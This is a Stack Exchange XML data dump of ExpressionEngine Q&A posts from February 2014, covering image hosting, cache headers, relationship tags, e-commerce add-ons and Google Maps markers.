  <row Id="19157" PostTypeId="1" CreationDate="2014-02-06T09:11:21.440" Score="1" ViewCount="504" Body="&lt;p&gt;sorry again for my bad english.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use Amazon S3 or Google Drive as CDN for my images posts. I have a script that adds dynamic parameters at the end of the url image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if i have an image like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://mysite.it/images/image.jpg&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my script automatically returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://mysite.it/images/image.jpg&amp;amp;s=1200&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Google drive do a fantastic scaling images on the fly &lt;em&gt;(try to change the number at the end of the image)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lh6.ggpht.com/VMLEHAa3kSHEoRr7AchhQ6HEzHVTn1b7Mf-whpxmPlpdrRfPW216UhYdQy3pzIe4f8Q7PKXN79AD4eRqu1obC7I=s200&quot; rel=&quot;nofollow&quot;&gt;http://lh6.ggpht.com/VMLEHAa3kSHEoRr7AchhQ6HEzHVTn1b7Mf-whpxmPlpdrRfPW216UhYdQy3pzIe4f8Q7PKXN79AD4eRqu1obC7I=s200&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lh6.ggpht.com/VMLEHAa3kSHEoRr7AchhQ6HEzHVTn1b7Mf-whpxmPlpdrRfPW216UhYdQy3pzIe4f8Q7PKXN79AD4eRqu1obC7I=s500&quot; rel=&quot;nofollow&quot;&gt;http://lh6.ggpht.com/VMLEHAa3kSHEoRr7AchhQ6HEzHVTn1b7Mf-whpxmPlpdrRfPW216UhYdQy3pzIe4f8Q7PKXN79AD4eRqu1obC7I=s500&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... how can i upload images from CP to google drive? I have purchased channel images by devdemon and CE Image but they do it only on Amazon S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a way to use Amazon S3 with url parameters for scaling images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please, someone let me know if I can do it&#xA;thank you!&#xA;Valerio&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="2590" LastEditDate="2014-02-06T15:52:13.927" LastActivityDate="2014-02-06T15:52:13.927" Title="Storing images entries on Google Drive or Amazon S3" Tags="|image|channel-images|ce-image|image-path|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19158" PostTypeId="1" CreationDate="2014-02-06T09:42:07.110" Score="1" ViewCount="1396" Body="&lt;p&gt;Full Story:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm backing an HTML application with expression engine, using the wonderfully unreliable appcache tech. It works in firefox and chrome, but not IE and i've nailed (using charles proxy debugger) it down to the fact that IE is refusing to cache the page because it has the above cache-control headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I need to stop that happening.  Of course, there is a setting in EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Admin &amp;gt; Output &amp;amp; Debugging &amp;gt; Generate HTTP Page Headers? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But changing that has no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using meta tags for cache-control, but of course, that is no longer valid html, and it would have no effect, anyway (despite knowing this, i did try it, and it did have no effect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am certain it is EE causing it, since opening /index.php in the root and doing the following results in the correct headers (though, obviously, no markup).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Cache-Control:public&quot;);&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i leave the above header line in place, the incorrect headers are being sent, conclusion being that EE is sending its own headers, after I'm sending that one, meaning it is being overwritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found declaration in EE_Output.php, but this isn't where the headers are being sent for templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I need to find where they are being sent... and I can't seem to find anywhere obvious - which is obviously irritating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you guys can offer any assistance, that'd be really useful.&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2014-02-06T13:57:13.503" Title="How to stop EE Sending &quot;Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&quot;" Tags="|ee2|php|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19159" PostTypeId="2" ParentId="19157" CreationDate="2014-02-06T09:44:31.813" Score="1" Body="&lt;p&gt;I figure it would be possible to do this, but you probably need to write quite a large extension to channel images to make it possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's your skill level?&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2014-02-06T09:44:31.813" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19160" PostTypeId="1" AcceptedAnswerId="19483" CreationDate="2014-02-06T09:55:39.277" Score="1" ViewCount="107" Body="&lt;p&gt;I have an instance where &lt;code&gt;{super_search_keywords}&lt;/code&gt; wont parse. Everything else Parses fine and checking the documentation it is possible to use the tag outside of &lt;code&gt;{super_search:results}&lt;/code&gt; - anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{super_search_total_results} Results found for {super_search_keywords}&#xA;{exp:super_search:results limit=&quot;50&quot;}&#xA;    {title}&#xA;{/exp:super_search:results} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="55" LastEditDate="2014-02-06T14:00:29.250" LastActivityDate="2014-02-16T06:57:56.167" Title="Super Search - {super_search_keywords} Not Parsing" Tags="|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19161" PostTypeId="1" CreationDate="2014-02-06T10:23:14.047" Score="2" ViewCount="191" Body="&lt;p&gt;How can I make the transactionID equal the orderID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client would like them to be the same to make it easier for them to match up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason on this latest install of Store v2.0.6 running on EE v2.7.2 the numbers are out of sinc by around 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest order came though as #62 but the transaction ID for it was #42.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please point me in the right direction to make them the same from now on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastEditorUserId="1339" LastEditDate="2014-02-06T11:31:55.873" LastActivityDate="2014-02-07T10:33:29.140" Title="Expresso Store v2: Cart ID the same as Transaction ID" Tags="|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19162" PostTypeId="2" ParentId="18294" CreationDate="2014-02-06T11:04:10.783" Score="2" Body="&lt;p&gt;I use the Focus Labs 'master.config' system rather than the Bootstrap one but it's basically just a variation on the same theme AFAIK so hopefully this input will still be applicable. What I've found is that whilst, in theory, you're supposed to create the upload destinations before you can redefine them with your config file, in practice it &lt;em&gt;is&lt;/em&gt; possible to define the destinations in the config first and &lt;em&gt;then&lt;/em&gt; create them in the CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I define an upload destination in my master.config file and then go to the CP and look at the File Upload destinations, it is not visible. But as soon as I create a new upload destination via the File Upload Preferences, I find that I am able to type any old random gibberish for the name, path, URL etc (i.e. any of the parameters that your config specifies) and once I hit 'Submit' to create the destination directory I find that the system will have picked up on the info from the config file and created the destination with those parameters, not the gibberish that I typed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you are starting with no Upload Destinations, the CP, as it creates then, assigns them array numbers, and if config data exists for that array number then it will apply it. So if I define three destinations in the config with array numbers of 1, 2 and 3, then I create three upload destinations in the CP, the first destination will use the parameters that I predefined for #1, the second will use the parameters for #2, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gets bit more complicated if you have created a destination but then deleted it, because I think the system still considers that array number as 'used', so a newly created destination (via the CP) might not be assigned the array number that you were expecting. But adjusting the array numbers assigned to the destination in the config can solve that.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-02-06T11:04:10.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19163" PostTypeId="1" AcceptedAnswerId="19169" CreationDate="2014-02-06T12:23:27.140" Score="1" ViewCount="238" Body="&lt;p&gt;I have a bit of a complex relationship situation I'm trying to figure out in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My channels consist of &lt;strong&gt;case-studies&lt;/strong&gt;, &lt;strong&gt;clients&lt;/strong&gt;, and &lt;strong&gt;services&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a relationship field within each case-studies entry where I&#xA;relate a &lt;strong&gt;client&lt;/strong&gt; and &lt;strong&gt;service&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Within the &lt;strong&gt;clients&lt;/strong&gt; channel I relate items from the &lt;strong&gt;service&lt;/strong&gt; channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to create tab-based clients page that lists &lt;strong&gt;clients&lt;/strong&gt; segmented by the 4 &lt;strong&gt;services&lt;/strong&gt;, with a link under each client to a page that lists their related &lt;strong&gt;case-studies&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can list the clients fine, and the tabs are working the way they should, the problem I'm having is checking whether a client has related case studies or not and only displaying a link to that page &lt;strong&gt;IF that client has some related case-studies&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;services&quot; entry_id=&quot;4&quot;}&#xA;&amp;lt;!-- I'm in the services channel, now I want to loop through the clients that are related to this service --&amp;gt;&#xA;  {parents field=&quot;client_related_service&quot;}&#xA;    &amp;lt;div class=&quot;col-xs-12 col-sm-6 col-md-3 client-details&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt; &amp;lt;img src=&quot;{parents:client_logo}&quot; class=&quot;img-responsive&quot; alt=&quot;{title}&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt; {parents:client_description} &amp;lt;/p&amp;gt;&#xA;    &amp;lt;!-- ONLY ADD THIS IF CLIENT HAS CASE-STUDIES RELATED TO IT, CAN'T FIGURE OUT HOW TO DO THIS--&amp;gt;&#xA;    &amp;lt;p&amp;gt; &amp;lt;a href=&quot;{site_url}index.php/clients/{parents:url_title}&quot;&amp;gt;See how we helped {parents:title}&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="55" LastEditDate="2014-02-06T13:58:56.137" LastActivityDate="2014-02-10T10:42:59.310" Title="Conditionally displaying nested relationships" Tags="|relationships|nesting|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19164" PostTypeId="1" AcceptedAnswerId="19370" CreationDate="2014-02-06T13:18:40.807" Score="1" ViewCount="150" Body="&lt;p&gt;I'm trying to do a checkout with cartthrob and instantly creating a new member. This really works great so I have a member entry in the members table. But I use zoo visitor and also need a channel entry there.&#xA;It is described in the docs of cartthrob that it has to work: &lt;a href=&quot;http://cartthrob.com/docs/tutorials/member-accounts/#addons-for-member-management&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tutorials/member-accounts/#addons-for-member-management&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody has a working example for this scenario?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2014-02-12T12:39:36.987" Title="Cartthrob and Zoo visitor" Tags="|cartthrob|members|zoo-visitor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19165" PostTypeId="2" ParentId="19158" CreationDate="2014-02-06T13:57:13.503" Score="2" Body="&lt;p&gt;I was able to drill through the ee code and find a place where I can overwrite the headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to do the same... open this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee_system_folder/codeigniter/system/core/Output.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look for this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _display($output = ''){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look for this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Does the controller contain a function named _output()?&#xA;// If so send the output there.  Otherwise, echo it.&#xA;if (method_exists($CI, '_output'))&#xA;{&#xA;    $CI-&amp;gt;_output($output);&#xA;}&#xA;else&#xA;{&#xA;    echo $output;  // Send it to the browser!&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Immediately before that code, i added my own header in (in this case a public header).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Cache-Control: public&quot;);&#xA;&#xA;// Does the controller contain a function named _output()?&#xA;// If so send the output there.  Otherwise, echo it.&#xA;if (method_exists($C....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This successfully overrides wherever the headers are coming from, so it &lt;em&gt;works&lt;/em&gt; even if its not ideal.&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2014-02-06T13:57:13.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19166" PostTypeId="2" ParentId="19154" CreationDate="2014-02-06T14:03:43.763" Score="1" Body="&lt;p&gt;You can use any standard fieldtype, module, or plugin tags within Super Search results - use them just as you would within a &lt;code&gt;channel:entries&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:tags entry_id=&quot;{entry_id}&quot; backspace=&quot;1&quot;}{tag}, {/exp:tag:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-06T14:03:43.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19167" PostTypeId="1" CreationDate="2014-02-06T14:09:33.257" Score="1" ViewCount="131" Body="&lt;p&gt;I have 2 separate price modifier fields the one is a list of fabric options with images for a product, the other field lists images for different types of options for the first option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment i have a list of the fabric options displaying on the front end of the site.&#xA;Once a user clicks on the fabric option i want it to the display a listing of the fabric color options with images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way i can do this?&lt;/p&gt;&#xA;" OwnerUserId="2711" LastActivityDate="2014-02-07T20:04:44.180" Title="Link 2 Cartthrob Price modifiers" Tags="|matrix|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19169" PostTypeId="2" ParentId="19163" CreationDate="2014-02-06T15:41:04.237" Score="1" Body="&lt;p&gt;Relationship tags are nest-able by continuing with the colon syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents:parents field=&quot;case_study_related_client&quot;}&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{parents:parents:title_permalink=&quot;case-studies/index&quot;}&quot;&amp;gt;See how we helped {parents:title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/parents:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-06T15:41:04.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19171" PostTypeId="1" AcceptedAnswerId="19177" CreationDate="2014-02-06T17:11:45.593" Score="1" ViewCount="707" Body="&lt;p&gt;I need to add a custom event listener (to trigger a modal window) to a Google Map that is generated and managed using Google Maps for ExpressionEngine. To this end I'd like to output my own Javascript using values from the field but not the marker scripts injected by the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way (using EE tags) to get individual bits of data, say, the formatted address, latitude or longitude, from a Google Maps for ExpressionEngine field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have a GMap4EE field named conf_map - this is storing JSON data retrieved from Google Maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on my template if I used the field tag {conf_map id=&quot;map&quot;} it would do what it's supposed to and create a map marker on the map with the id of &quot;map&quot;. However can I use something like {conf_map:latitude} to get the latitude of the marker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can create additional fields and have the add-on store latitude and longitude data in there when I save an entry but since I will also want address data, icon data etc. it would seem like I need to directly access the json data. I was hoping to avoid having to make some kind of parser for the data since I think that's a bit beyond me!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-02-06T23:13:22.837" Title="Custom event listeners with Google Maps For ExpressionEngine field type" Tags="|google-maps-for-ee|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19172" PostTypeId="1" CreationDate="2014-02-06T17:45:26.443" Score="0" ViewCount="27" Body="&lt;p&gt;I'm thinking this is a bug and just needs some addslashes to it. Anyone else run across this problem? I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if caption}&#xA;{if '{caption}'}&#xA;{if &quot;{caption}&quot;}&#xA;{if '{caption}' != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even used it within an assets loop with var_prefix with all above options:&#xA;{if img:caption}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of them are 100% fool-proof. If the caption has one ' it breaks one method; if it has two, it breaks another. Frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.0&#xA;Assets 2.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: parse error in ../system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 135&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="373" LastEditDate="2014-02-06T18:27:16.480" LastActivityDate="2014-02-06T18:27:16.480" Title="Assets {if caption} breaks if caption has &quot; or ' in it" Tags="|assets|add-on|bug|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19173" PostTypeId="1" CreationDate="2014-02-06T17:58:58.457" Score="2" ViewCount="65" Body="&lt;p&gt;I am trying to implement the UPS Shipping Extension purchased and it appears to be broken. I've uploaded the extension, enabled it, entered in the Access Key, User ID and Password. I've setup the shipping options and entered in the source destination. Based on previous issues found here, I've made sure the country is &quot;US&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within my template I've added {field:shipping_method} in the checkout tag. All I get is an empty drop down. The UPS account exists and is set up as a personal account with one access key generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Store 2.04 and UPS extension 1.02&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm out of options here. I can't even troubleshoot anymore. Where did things break in this super basic setup I have?&lt;/p&gt;&#xA;" OwnerUserId="1907" LastActivityDate="2014-05-10T01:29:23.627" Title="EE Store 2 and paid UPS extension seems to be broken" Tags="|expresso-store|extension|shipping|ups-shipping|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19175" PostTypeId="1" CreationDate="2014-02-06T18:14:25.793" Score="1" ViewCount="105" Body="&lt;p&gt;Just installed Matrix &amp;amp; Matrix Multi-Upload but cannot get it to work on my EE system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed EE Version: 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fields have been created as instructed but the images dont seem to populate the rows of the Matrix field once uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need some help... thanks Corey&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mh9xr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1441" LastEditorUserId="55" LastEditDate="2014-02-06T19:52:41.203" LastActivityDate="2014-02-06T19:52:41.203" Title="Matrix Multi-Upload does not populate Matrix rows" Tags="|matrix|file-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19176" PostTypeId="1" AcceptedAnswerId="19179" CreationDate="2014-02-06T18:42:26.690" Score="2" ViewCount="143" Body="&lt;p&gt;I'm using DevDemon Tagger to output a list of categories. Everything is working fine but I am acing trouble getting categories to out put. Other items output no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:tagger:entries tag=&quot;{get:tag}&quot; custom_fields=&quot;categories|dl_authors&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{tagger:entry_title}&lt;br /&gt;&#xA;{tagger:categories}{tagger:category_url_title} {/tagger:categories}&lt;/p&gt;         &#xA;&#xA;&lt;p&gt;{/exp:tagger:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-02-06T18:55:36.100" Title="Output categories in tagger?" Tags="|tags|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19177" PostTypeId="2" ParentId="19171" CreationDate="2014-02-06T18:43:22.517" Score="2" Body="&lt;p&gt;I've just discovered the parse paramter which will let me get the bits of data I need to create my own javascript for creating markers an modal windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/google-maps/fieldtype&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/google-maps/fieldtype&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;conf&quot;}&#xA;    {conf_map parse=&quot;markers&quot;}&#xA;        {markers}&#xA;            {marker:latitude}, {marker:longitude}&#xA;        {/markers}&#xA;    {/conf_map}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I've got this working now so here's my solution in case anyone else might need to do a similar thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This site is using Foundation Reveal to create modal popovers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I did was use the markers tag pair to loop through each marker in the field and output it's own bit of javascript to generate a map marker and attach an event listener which triggered a modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make life easy, each run through the loop also creates a block of modal HTML which gets shown when the marker is clicked. Less efficient but easier than trying to pass data into the modal.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://maps.google.com/maps/api/js?sensor=true&amp;amp;amp;key=&amp;amp;amp;language=en&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;map&quot; class=&quot;&quot; style=&quot;width:100%;height:400px&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- First create the map itself --&amp;gt;&#xA;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;            google.maps.visualRefresh = true;&#xA;&#xA;            var map_options             = {zoom: 12, center: new google.maps.LatLng(0,0), mapTypeId: google.maps.MapTypeId.ROADMAP, scrollwheel: false};&#xA;            var map_canvas              = document.getElementById(&quot;map&quot;);&#xA;            var map_map                 = new google.maps.Map(map_canvas, map_options);&#xA;            var map_bounds              = new google.maps.LatLngBounds();&#xA;            var map_markers             = [];&#xA;            var map_window              = {};&#xA;            var map_windows             = [];&#xA;            var map_responses           = [];&#xA;            var map_html                = [];&#xA;            var map_waypoints           = [];&#xA;            var map_regions             = [];&#xA;            var map_geocoder            = new google.maps.Geocoder();&#xA;            var map_directionsService   = new google.maps.DirectionsService();&#xA;            var map_directionsDisplay   = new google.maps.DirectionsRenderer({map: map_map});&#xA;            var map_clusterOptions      = {maxZoom: 0, gridSize: 0, styles:[]};&#xA;            var map_cluster             = new MarkerClusterer(map_map, map_markers, map_clusterOptions);&#xA;&#xA;        &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- Now create the markers&#xA;     All marker data is stored within the GMap4EE field type in a single entry&#xA;     So we first grab the entry, then output the field and within that use the {markers} tag pair to loop through each one and create the Javascript needed&#xA;--&amp;gt;&#xA;&#xA;&#xA;{exp:channel:entries channel=&quot;conference&quot;disable=&quot;member_data|pagination|categories|category_fields&quot;}&#xA;&#xA;    {conference-venue-map parse=&quot;markers&quot;}&#xA;&#xA;        {markers}&#xA;            &amp;lt;!-- Create a marker on the map --&amp;gt;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                var index = map_markers.length;&#xA;                map_markers[index] = new google.maps.Marker({&#xA;                    map: map_map, &#xA;                    position: new google.maps.LatLng({marker:latitude},{marker:longitude}), &#xA;                    icon: &quot;{marker:icon}&quot;&#xA;                });&#xA;&#xA;                map_markers[index].entry_id = {embed:entry};&#xA;                map_markers[index].index = {marker:count};&#xA;                map_bounds.extend(new google.maps.LatLng({marker:latitude},{marker:longitude}));&#xA;&#xA;                if (index &amp;gt; 0) {&#xA;                    map_map.fitBounds(map_bounds);&#xA;                } else {&#xA;                    map_map.setCenter(map_bounds.getCenter());&#xA;                    map_map.setZoom(map_options.zoom);&#xA;                }&#xA;                        (function () {&#xA;                            var obj = map_markers[index];&#xA;                            google.maps.event.addListener(obj, 'click', function(e) {&#xA;                                var modal = '#markermodal'+obj.index;&#xA;                                $(modal).foundation('reveal','open');&#xA;                            });&#xA;&#xA;&#xA;                        })();&#xA;&#xA;                &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;!-- Create a modal window for this marker --&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;markermodal{marker:count}&quot; class=&quot;reveal-modal small&quot;&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;{marker:title}&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{marker:formatted_address}&amp;lt;/p&amp;gt;&#xA;&#xA;                    {marker:content}&#xA;                    &amp;lt;a class=&quot;close-reveal-modal&quot;&amp;gt;&amp;amp;#215;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;        {/markers}&#xA;    {/conference-venue-map}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-02-06T23:13:22.837" LastActivityDate="2014-02-06T23:13:22.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19178" PostTypeId="2" ParentId="18668" CreationDate="2014-02-06T18:46:42.913" Score="1" Body="&lt;p&gt;This happened on another site as well recently. The problem was in Firefox only, no other browsers. Using Adrian's suggestion of removing the error handling inline I was able to narrow the problem down to a shipping rule the client had created incorrectly. The other browsers were able to ignore it and go to PayPal, but Firefox would get stuck and just reload the order review page (checkout3). Once I sorted the shipping rule, the problem disappeared.&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2014-02-06T18:46:42.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19179" PostTypeId="2" ParentId="19176" CreationDate="2014-02-06T18:55:36.100" Score="1" Body="&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discovered I can use exp:tagger:entries_quick with a standard exp:channel:entries inside it and then access items like normal, but this seems inefficient especially if the tag has many items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:tagger:entries_quick tag=&quot;{get:tag}&quot;}&#xA;{exp:channel:entries entry_id=&quot;{tagger:entry_ids}&quot;  channel=&quot;the channel&quot; status=&quot;open&quot; show_future_entries=&quot;no&quot; show_expired=&quot;no&quot;}&#xA;// Normal stuff in here {title} {tagger:categories}{tagger:category_url_title} {/tagger:categories}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;br&gt;&#xA;{/exp:tagger:entries_quick}&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-02-06T18:55:36.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
